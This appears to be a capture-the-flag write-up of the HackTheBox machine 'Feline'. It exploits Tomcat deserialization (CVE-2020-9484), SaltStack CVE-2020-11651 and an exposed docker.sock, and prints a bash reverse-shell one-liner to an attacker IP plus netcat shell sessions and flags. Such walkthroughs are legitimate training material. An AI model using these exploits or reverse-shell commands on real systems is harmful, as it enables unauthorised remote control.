root@kali:~# nmap -sV -p- -v --min-rate=10000 10.10.10.205 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 8080/tcp open http Apache Tomcat 9.0.27 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web Enumeration
The main page returns a title as “VirusBucket” which is used to analyze malicious files just like “VirusTotal”.
Some random descriptions are given. From the top menu, we can see some menus available. Out of these, ‘service’ is where we can upload our file to analyze it.
make a test to uploaded a file and intercepted the request with Burp Suite.
<div id="error"> java.io.FileNotFoundException: /opt/samples/uploads (Is a directory) at java.base/java.io.FileOutputStream.open0(Native Method) at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298) at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237) at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187) at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394) at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329) at javax.servlet.http.HttpServlet.service(HttpServlet.java:741) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526) at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678) at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74) at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408) at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861) at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579) at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) at java.base/java.lang.Thread.run(Thread.java:834) </div>
and we got the upload file location
1
/opt/samples/uploads
we can see that there is something related to Java deserialization running behind the scene.
Tomcat JsessionID Insecure Deserialization CVE - User Shell
use a simple google search, we find an article to understand the public exploit CVE-2020-9484.
reference 1:
Apache Tomcat RCE by deserialization CVE-2020-9484 writeup and exploit
Requirements to exploit:
There is no authentication needed to upload a file to the server. PersistentManager might be enabled, that’s why we got our file uploaded.
We have control over the location of the file and the name of the file.
Java Run time exec() function is the one which deserializes the JsessionID information in it.
Exploitation steps:
We need to create a Java Runtime Environment serialized Object and also save it in filename.session
Then it is needed to upload it to the server.
The final step is to modify the JSESSIONID to value like “../../../../malicious.session”.
Since the JSESSIONID is parsed by function java.lang.Runtime.exec(), we need to set bash or shell payload. Because NC, Socat command will get break inside the Runtime Environment.
root@kali:~# nc -lvp 4444 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.205. Ncat: Connection from 10.10.10.205:39862. bash: cannot set terminal process group (948): Inappropriate ioctl for device bash: no job control in this shell tomcat@VirusBucket:/opt/tomcat$ id id uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat) tomcat@VirusBucket:/opt/tomcat$ whoami whoami tomcat tomcat@VirusBucket:/opt/tomcat$ cd ~ cd ~ tomcat@VirusBucket:~$ ls ls user.txt tomcat@VirusBucket:~$ cat user.txt cat user.txt a485c52b48abe0381d0e8ad66342b159
SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker
There are a number of ports running in the localhost. Out of these, port number 4505 and 4506 returns a non-readable output.
root@kali:~/hackthebox/machine/feline# python3 11.py --master 127.0.0.1 --exec 'bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1"' [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort. [+] Checking salt-master (127.0.0.1:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... YES [*] root key obtained: 8MeKojWxGMucT5TnNiiu1H4+rTdH9ZuGB3w2V+2Ef0sbHhmBjJU8Gil8bQuDbmJVHiSFo4rPlV0= [+] Attemping to execute bash -c "bash -i >& /dev/tcp/10.10.14.4/5555 0>&1" on 127.0.0.1 [+] Successfully scheduled job: 20200903175545578002
then we got a root reverse shell in docker:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
root@kali:~# nc -lvp 5555 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::5555 Ncat: Listening on 0.0.0.0:5555 Ncat: Connection from 10.10.10.205. Ncat: Connection from 10.10.10.205:39364. bash: cannot set terminal process group (3706): Inappropriate ioctl for device bash: no job control in this shell root@2d24bf61767c:~# id id uid=0(root) gid=0(root) groups=0(root) root@2d24bf61767c:~# whoami whoami root
root@2d24bf61767c:~# cat .bash_history cat .bash_history paswd passwd passwd passswd passwd passwd cd /root ls ls -la rm .wget-hsts cd .ssh/ ls cd .. printf'- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt cat todo.txt printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt cd /home/tomcat cat /etc/passwd exit cd /root/ ls cat todo.txt ls -la /var/run/ curl -s --unix-socket /var/run/docker.sock http://localhost/images/json exit
Since docker.sock is the API used by the host to communicate with Docker containers, we can conclude that this is the way to get the contents of the root of the host.
root@kali:~# nc -lvp 7777 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777 Ncat: Connection from 10.10.10.205. Ncat: Connection from 10.10.10.205:54680. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell groups: cannot find name for group ID 11 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root"for details.
root@959d801ec08f:/# id id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) root@959d801ec08f:/# whoami whoami root root@959d801ec08f:/# cat ~/root.txt cat ~/root.txt 7817c299e73caba76e2f5dfa9f72291d
and owned the root.txt
Summary of knowledge
Tomcat JsessionID Insecure Deserialization CVE
use java.lang.Runtime.exec Payload Workarounds to generate payload
ysoserial-master.jar usage
SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker
CVE-2020-11651 exploit
Chisel port forwarding
EXPOSING DOCKER.SOCK to ececute commands
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…